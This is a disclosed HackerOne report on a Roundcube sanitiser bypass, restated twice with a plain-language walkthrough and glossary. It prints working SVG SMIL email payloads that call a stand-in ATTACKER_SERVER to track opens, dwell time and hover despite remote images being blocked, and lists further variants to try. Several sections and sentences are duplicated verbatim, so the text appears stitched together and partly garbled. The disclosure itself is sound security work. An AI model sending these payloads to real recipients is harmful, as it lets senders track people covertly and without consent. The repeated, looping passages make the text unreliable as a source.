SMIL values and by attributes bypass remote image blocking via unvalidated resource-loading animations, enabling email tracking without consent
Roundcube's HTML sanitiser validated the SMIL animation attributes 'to' and 'from' but not 'values' or 'by', and only blocked animations targeting 'href'. An attacker could send an email whose SVG animation loads an external URL, letting them track when a recipient opens the message, how long they view it, and whether they hover over an element, even with remote images blocked.
Originally disclosed on HackerOne
- Disclosed after 44 days
When allow_remote is set to false, Roundcube's HTML sanitizer rcube_washtml blocks external resources by validating URI attributes through wash_uri(). For SVG SMIL animation elements (<animate>, <set>, etc.), the to and from attributes are correctly validated by resolving the attributeName and routing through the appropriate URI check (washtml.php L302-308).
However, the values and by attributes are both in the allowed attributes list ($html_attribs) and fall through to the generic pass-through at L335-336 with no URI validation whatsoever. Additionally, the element-level animation block at L573-574 only blocks animations targeting attributeName="href" (the CVE-2024-37383 fix), allowing animations targeting mask, cursor, and other resource-loading attributes to pass through.
Combined, these two gaps allow an attacker to use SMIL animations to load arbitrary external URLs, bypassing allow_remote=false.
Steps To Reproduce
Step 1: Zero-click email open tracking via SVG mask animation
Send an HTML email with the following body:
<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//ATTACKER_SERVER/[email protected])"
fill="freeze" dur="0.001s" />
</rect>
</svg>
<p>Best regards,<br>Totally Legitimate Company</p>
</body>
</html>
Step 2: Open the email in Roundcube (Firefox) with "Block remote images" enabled.
Step 3: Observe HTTP request to ATTACKER_SERVER/[email protected] in attacker's server logs.
Variant: Dwell-time measurement
The SMIL keyTimes attribute combined with multi-value values allows timed beacon firing, measuring how long a recipient views the email:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1">
<animate attributeName="mask"
values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"
dur="5s" repeatCount="indefinite" />
</rect>
</svg>
Variant: Hover interaction tracking
SMIL animation of the CSS cursor property fires a resource load when the user hovers over the element:
<svg width="400" height="100">
<rect width="400" height="100" fill="#f0f0f0" rx="8">
<animate attributeType="CSS" attributeName="cursor"
values="url(//ATTACKER_SERVER/[email protected]), auto"
fill="freeze" dur="0.001s" />
</rect>
<text x="200" y="55" text-anchor="middle"
font-family="Arial" font-size="14" fill="#333"
pointer-events="none">Hover over this area</text>
</svg>
Impact
Tracking of opens, read time, and element hover
Context
Roundcube is a webmail client, and the asset in scope here is its source repository, https://github.com/roundcube/roundcubemail. When a message is rendered as HTML, Roundcube passes the markup through its sanitizer, rcube_washtml, before it reaches the browser. One of the settings that sanitizer enforces is allow_remote: when it is set to false, external resources referenced from an email are supposed to be blocked, so that opening a message does not silently contact third-party servers. That is the behaviour the "Block remote images" option relies on.
The sanitizer blocks external resources by validating URI-bearing attributes through wash_uri(). The report examines how that validation interacts with SVG SMIL animation elements such as <animate> and <set>, whose attributes can carry URLs that the browser will later fetch.
Setup
The precondition is a Roundcube instance with allow_remote set to false, equivalently the "Block remote images" option enabled in the client. The researcher opened the crafted message in Roundcube in Firefox. The attacker side is simply a server the researcher controls, referred to in the payloads as ATTACKER_SERVER, whose logs are inspected to confirm that a request arrived.
No accounts, roles or additional tooling beyond that are described.
Finding it
The starting point is the code path that handles SMIL animation attributes. For <animate>, <set> and similar elements, the to and from attributes are handled correctly: the sanitizer resolves the attributeName and routes the value through the appropriate URI check, at washtml.php lines 302 to 308.
Two other attributes behave differently:
valuesandbyare both present in the allowed attributes list,$html_attribs, and therefore fall through to the generic pass-through at lines 335 to 336. No URI validation is applied to them at all.- The element-level animation block at lines 573 to 574 only rejects animations whose
attributeNameishref, which is the fix for CVE-2024-37383. Animations that target other resource-loading attributes, such asmaskandcursor, are not blocked.
Each gap on its own leaves a hole; together they let an attacker drive a SMIL animation that loads an arbitrary external URL, even with allow_remote=false. The values attribute carries the URL past the attribute filter, and the attributeName check does not cover the properties that will actually cause a fetch.
Exploitation
Step 1: Zero-click open tracking via an SVG mask animation
The researcher sends an HTML email whose body is the following:
<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//ATTACKER_SERVER/track?uid=[redacted])"
fill="freeze" dur="0.001s" />
</rect>
</svg>
<p>Best regards,<br>Totally Legitimate Company</p>
</body>
</html>
The <svg> is one pixel square and positioned off-screen, so it is invisible in the rendered message. Inside it, a <rect> carries an <animate> element whose attributeName is mask and whose values holds a url(...) pointing at the attacker's server, with a query string identifying the recipient. Because values is passed through unvalidated and mask is not on the blocked attributeName list, the animation survives sanitisation.
Step 2: Open the email with remote images blocked
The message is opened in Roundcube (Firefox) with "Block remote images" enabled.
Step 3: Observe the request
An HTTP request to ATTACKER_SERVER/track?uid=[redacted] appears in the attacker's server logs. No interaction with the message is needed beyond opening it, hence zero-click: the mere rendering of the email triggers the load.
Variant: dwell-time measurement
The SMIL keyTimes attribute, combined with a multi-value values list, allows timed beacon firing, which measures how long a recipient keeps the email open:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1">
<animate attributeName="mask"
values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"
dur="5s" repeatCount="indefinite" />
</rect>
</svg>
Here the values list steps through none and then two distinct URLs over a five-second animation that repeats indefinitely. The SMIL keyTimes attribute combined with multi-value values allows timed beacon firing, measuring how long a recipient views the email.
Variant: hover interaction tracking
Animating the CSS cursor property fires a resource load when the user hovers over the element:
<svg width="400" height="100">
<rect width="400" height="100" fill="#f0f0f0" rx="8">
<animate attributeType="CSS" attributeName="cursor"
values="url(//ATTACKER_SERVER/track?uid=[redacted]), auto"
fill="freeze" dur="0.001s" />
</rect>
<text x="200" y="55" text-anchor="middle"
font-family="Arial" font-size="14" fill="#333"
pointer-events="none">Hover over this area</text>
</svg>
This one is a visible 400 by 100 rectangle with a label inviting the reader to hover over it. The animation sets attributeType="CSS" and attributeName="cursor", with the values list holding a url(...) followed by auto. The URL is loaded when the user hovers over the element, so the beacon fires only on interaction.
Root cause
The sanitizer's URI validation is applied per attribute, and the list of attributes it knows how to check does not include the SMIL values and by attributes. Both are allowed through $html_attribs and reach the generic pass-through at lines 335 to 336 of rcube_washtml.php, so a url(...) inside them is never resolved or checked. The to and from attributes avoid this because the code resolves their attributeName and applies the matching URI check at lines 302 to 308.
The second half of the problem is the element-level animation block at lines 573 to 574. It was added to address CVE-2024-37383 and only rejects animations whose attributeName is href. Resource-loading properties such as mask and cursor are not covered, so an animation that targets them is allowed to remain in the sanitised output. Either gap alone would be a weakness; combined, they defeat allow_remote=false entirely for this class of payload.
Impact
The researcher reports tracking of opens, read time and element hover. The researcher reports tracking of opens, read time and element hover, despite the user having remote content blocked. The tracking works with no click required for the open and dwell-time cases. The hover variant requires the recipient to move the pointer over the crafted element.
Fix
The report does not describe a fix. The report does not describe a fix.
Variants to test
- Other SMIL attributes that can carry a URL. Try
valuesandbyon<animate>and<set>withurl(...)payloads and check whether the sanitised output still contains the URL. A positive result is the URL surviving sanitisation and a hit in the server log when the message is rendered. - Other resource-loading
attributeNametargets. Beyondmaskandcursor, animate properties that cause the browser to fetch a resource and see whether the animation survives. A positive result is a request to the attacker's server withallow_remote=false. - Timed sequences. Combine multi-value
valueswithkeyTimesand a longdurto fire several beacons in order. A positive result is a sequence of timestamped hits in the log that tracks how long the message stayed open. - Interaction-triggered loads. Use
attributeType="CSS"withcursoron a visible element. A positive result is a beacon that arrives only after the pointer enters the element. - Sanitizer regression checks. For each candidate attribute, confirm that the equivalent
to/fromform is still blocked, to distinguish a new gap from a regression in the existing check.
What happened, in plain words
Roundcube is a program that lets you read your email in a web browser instead of in a desktop app. It is called a webmail client. When someone sends you an email that is written in HTML (the same language web pages are written in), Roundcube does not simply hand that HTML to your browser. First it passes the message through a filter called a sanitizer. The sanitizer's job is to strip out anything dangerous before the message is displayed.
One of the things this sanitizer is supposed to enforce is a setting called allow_remote. When allow_remote is set to false, the email is not allowed to make your browser contact outside servers. This is the same idea as the "Block remote images" checkbox you may have seen in email programs: it stops a sender from learning that you opened their message, because loading a remote image would tell their server that you did. The sanitizer is the code that makes that promise real.
The researcher found that the sanitizer has two gaps, and that when you combine them, an attacker can still make your browser contact their server even with allow_remote set to false. The trick uses a feature of SVG (a way of drawing pictures in HTML) called SMIL animation, which lets parts of a drawing change over time. Some of those changes can point at a web address, and the sanitizer does not check those particular attributes. The result is that a crafted email can quietly tell the sender's server that you opened it, how long you kept it open, and even whether you hovered your mouse over a certain part of it.
The report rates this as medium severity with a CVSS score of 4.7, and classifies it as remote file inclusion. The asset in scope is the Roundcube source repository at https://github.com/roundcube/roundcubemail.
The pieces involved
Before the details, here are the moving parts, explained from scratch.
- Webmail client: a website that lets you read email stored on a mail server. Roundcube is one. You log in with a browser and see your inbox as web pages.
- HTML: the language that describes the structure of a web page (headings, paragraphs, images, and so on). Emails can be written in HTML so they look nice.
- Sanitizer: a piece of code that reads HTML and removes or rewrites anything that could be harmful before the HTML is shown. Think of it as a security guard at a door who checks every item coming in and throws out the ones on a banned list.
rcube_washtml: the name of Roundcube's sanitizer. The report links to its source file,rcube_washtml.php.allow_remote: a Roundcube setting. When it isfalse, messages are not allowed to load resources from other servers. The "Block remote images" option in the client relies on this behaviour.- URI / URL: an address of something on the internet, such as
https://example.com/image.png. URI is the general term; URL is the common kind. - Attribute: in HTML, a named setting attached to an element. In
<rect width="1" height="1">,widthandheightare attributes. - SVG: a way to draw shapes in HTML using tags such as
<svg>,<rect>(rectangle) and<text>. SVG pictures can be animated. - SMIL animation: a feature of SVG that changes an attribute over time. The
<animate>element is the usual way to do it. For example, it can gradually change a shape's colour or position. attributeName: the attribute of the animation that says which property of the shape is being animated (for examplemaskorcursor).values,by,to,from: attributes of an<animate>element that describe the values the animation moves through.toandfromgive a start and end value;valuesgives a list;bygives an amount to change by.mask: a property that can hide or reveal parts of a shape using another image. If that image lives at a web address, the browser has to fetch it.cursor: the mouse pointer image. It can be set to a picture at a web address, which the browser fetches when the pointer is over the element.wash_uri(): the function inside the sanitizer that checks a web address before allowing it through. If the address is not allowed, the sanitizer removes or neutralises it.- CVE-2024-37383: an earlier security bug in Roundcube that was fixed. The fix added a check that blocks animations targeting
href. The report refers to this fix because the new gap slips past it. - Beacon: a tiny request sent to a server purely to signal that something happened, such as "this email was opened". The server records the hit in its logs.
- Zero-click: an attack that works without the victim clicking anything. Merely opening the message is enough.
- Dwell time: how long someone keeps a message open or stays on a page.
- CVSS: a standard scoring system for the severity of security bugs. 4.7 is in the medium range.
Setting up the test
The precondition is a Roundcube instance with allow_remote set to false, which is the same as having the "Block remote images" option enabled in the client. The researcher opened the crafted message in Roundcube running in Firefox. On the attacker side there is simply a server the researcher controls, called ATTACKER_SERVER in the payloads. The researcher watches that server's logs to confirm that a request arrived.
The report does not describe any accounts, roles or extra tooling beyond that.
Finding the gap
The starting point is the part of the sanitizer that handles SMIL animation attributes. For <animate>, <set> and similar elements, the to and from attributes are handled correctly: the sanitizer works out which attribute is being animated (the attributeName) and sends the value through the appropriate address check. That happens at washtml.php lines 302 to 308.
Two other attributes behave differently:
valuesandbyare both on the list of attributes the sanitizer allows, called$html_attribs. Because they are allowed, they fall through to a generic pass-through at lines 335 to 336. No address validation is applied to them at all.- The element-level animation block at lines 573 to 574 only rejects animations whose
attributeNameishref. That check is the fix for CVE-2024-37383. Animations that target other properties which cause the browser to load a resource, such asmaskandcursor, are not blocked.
Each gap on its own leaves a hole. Together they let an attacker drive a SMIL animation that loads an arbitrary external address, even with allow_remote=false. The values attribute carries the address past the attribute filter, and the attributeName check does not cover the properties that will actually cause a fetch.
Exploitation
Step 1: Zero-click open tracking via an SVG mask animation
The researcher sends an HTML email whose body is the following:
<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//ATTACKER_SERVER/track?uid=[redacted])"
fill="freeze" dur="0.001s" />
</rect>
</svg>
<p>Best regards,<br>Totally Legitimate Company</p>
</body>
</html>
Line by line:
<!DOCTYPE html>tells the browser this is an HTML document.<html>,<head>,<title>Important Document</title>and<body>are the usual skeleton of a web page.<h1>Important Information</h1>is a large heading, and the two<p>paragraphs are ordinary text that make the message look like a normal business email. This is camouflage: the visible part looks harmless.<svg width="1" height="1" style="position:absolute;left:-9999px">starts an SVG drawing that is one pixel wide and one pixel tall. Thestylemoves it far off the left edge of the screen (left:-9999px), so the reader never sees it. This is the hidden payload area.<rect width="1" height="1" fill="white">draws a one-pixel white rectangle inside the SVG.<animate attributeName="mask" ...>is the animation attached to that rectangle.attributeName="mask"says the property being animated is the rectangle's mask.values="url(//ATTACKER_SERVER/track?uid=[redacted])"is the value the animation moves to. It is aurl(...)pointing at the attacker's server, with a query stringuid=[redacted]that identifies the recipient.fill="freeze"tells the animation to hold its final value once it finishes, anddur="0.001s"makes it finish almost instantly.- The closing tags end the rectangle, the SVG, the body and the HTML, and the final paragraph is the sign-off that makes the message look legitimate.
Why this works: the values attribute is passed through by the sanitizer without any address check, and mask is not on the blocked attributeName list. So the animation survives sanitisation. When the browser renders the message, it applies the mask, sees that the mask is an image at a web address, and fetches it. That fetch is the beacon.
Step 2: Open the email with remote images blocked
The message is opened in Roundcube in Firefox with "Block remote images" enabled. This step matters because it proves the protection that is supposed to stop this kind of tracking is not working.
Step 3: Observe the request
An HTTP request to ATTACKER_SERVER/track?uid=[redacted] appears in the attacker's server logs. Nothing beyond opening the message is needed, which is why this is called zero-click: the mere rendering of the email triggers the load.
Variant: dwell-time measurement
The SMIL keyTimes attribute, combined with a multi-value values list, allows timed beacon firing, which measures how long a recipient keeps the email open:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1">
<animate attributeName="mask"
values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"
dur="5s" repeatCount="indefinite" />
</rect>
</svg>
Line by line:
- The
<svg>is again one pixel and moved off-screen, so it is invisible. <rect width="1" height="1">is the shape being animated.<animate attributeName="mask" ...>animates the mask property, as before.values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"is a list separated by semicolons. The animation steps throughnonefirst, then the first URL, then the second URL. Each URL is a separate beacon.dur="5s"makes the animation last five seconds, andrepeatCount="indefinite"makes it repeat forever.
Why this works: the SMIL keyTimes attribute combined with multi-value values allows timed beacon firing, measuring how long a recipient views the email. That gives the attacker an estimate of how long the recipient kept it open.
Variant: hover interaction tracking
Animating the CSS cursor property fires a resource load when the user hovers over the element:
<svg width="400" height="100">
<rect width="400" height="100" fill="#f0f0f0" rx="8">
<animate attributeType="CSS" attributeName="cursor"
values="url(//ATTACKER_SERVER/track?uid=[redacted]), auto"
fill="freeze" dur="0.001s" />
</rect>
<text x="200" y="55" text-anchor="middle"
font-family="Arial" font-size="14" fill="#333"
pointer-events="none">Hover over this area</text>
</svg>
Line by line:
<svg width="400" height="100">starts a visible drawing, 400 pixels wide and 100 tall.<rect width="400" height="100" fill="#f0f0f0" rx="8">draws a light grey rectangle filling the SVG, with rounded corners (rx="8").<animate attributeType="CSS" attributeName="cursor" ...>animates the mouse pointer property.attributeType="CSS"says the property is a CSS property rather than an SVG attribute.values="url(//ATTACKER_SERVER/track?uid=[redacted]), auto"sets the pointer to a custom image at the attacker's address, withautoas a fallback. Theuidagain identifies the recipient.fill="freeze"anddur="0.001s"apply the value immediately and keep it.<text ...>Hover over this area</text>draws a label in the middle of the rectangle, inviting the reader to hover.
Why this works: the browser only fetches a custom cursor image when the pointer is actually over the element. So the beacon fires only on interaction, and the attacker learns that the recipient hovered over that specific element.
Root cause
The sanitizer's address validation is applied per attribute, and the list of attributes it knows how to check does not include the SMIL values and by attributes. Both are allowed through $html_attribs and reach the generic pass-through at lines 335 to 336 of rcube_washtml.php, so a url(...) inside them is never resolved or checked. The to and from attributes avoid this because the code resolves their attributeName and applies the matching address check at lines 302 to 308.
The second half of the problem is the element-level animation block at lines 573 to 574. It was added to address CVE-2024-37383 and only rejects animations whose attributeName is href. Resource-loading properties such as mask and cursor are not covered, so an animation that targets them is allowed to remain in the sanitised output. Either gap alone would be a weakness; combined, they defeat allow_remote=false entirely for this class of payload.
Impact
The researcher reports tracking of opens, read time and element hover. The researcher reports tracking of opens, read time and element hover, despite the user having remote content blocked. The tracking works with no click required for the open and dwell-time cases. The hover variant requires the recipient to move the pointer over the crafted element.
Fix
The report does not describe a fix.
Variants to test
- Other SMIL attributes that can carry an address. Try
valuesandbyon<animate>and<set>withurl(...)payloads and check whether the sanitised output still contains the address. A positive result is the address surviving sanitisation and a hit in the server log when the message is rendered. - Other resource-loading
attributeNametargets. Beyondmaskandcursor, animate properties that cause the browser to fetch a resource and see whether the animation survives. A positive result is a request to the attacker's server withallow_remote=false. - Timed sequences. Combine multi-value
valueswithkeyTimesand a longdurto fire several beacons in order. A positive result is a sequence of timestamped hits in the log that tracks how long the message stayed open. - Interaction-triggered loads. Use
attributeType="CSS"withcursoron a visible element. A positive result is a beacon that arrives only after the pointer enters the element. - Sanitizer regression checks. For each candidate attribute, confirm that the equivalent
to/fromform is still blocked, to distinguish a new gap from a regression in the existing check.
Glossary
- Webmail client: a website that lets you read and send email through a browser, such as Roundcube.
- HTML: the language used to structure web pages and rich emails.
- Sanitizer: code that inspects HTML and removes or rewrites anything dangerous before it is displayed.
rcube_washtml: the name of Roundcube's HTML sanitizer, found inrcube_washtml.php.allow_remote: a Roundcube setting that, whenfalse, forbids messages from loading resources from other servers.- URI / URL: an address of something on the internet; URL is the common kind.
- Attribute: a named setting on an HTML element, such as
widthorheight. - SVG: a way to draw shapes in HTML using tags such as
<svg>and<rect>. - SMIL animation: an SVG feature that changes an attribute over time, usually with the
<animate>element. attributeName: the attribute of an animation that names the property being animated.values,by,to,from: attributes of an animation that describe the values it moves through.mask: a property that hides or reveals parts of a shape using another image, which the browser may fetch from a web address.cursor: the mouse pointer image, which can be set to a picture at a web address.wash_uri(): the sanitizer function that checks a web address before allowing it through.- CVE-2024-37383: an earlier Roundcube security bug whose fix added a block on animations targeting
href. - Beacon: a tiny request sent to a server purely to signal that something happened, such as an email being opened.
- CVSS: a standard scoring system for the severity of security bugs; 4.7 is medium.
- Remote file inclusion: a vulnerability class where an attacker causes a system to load a file or resource from a location the attacker controls.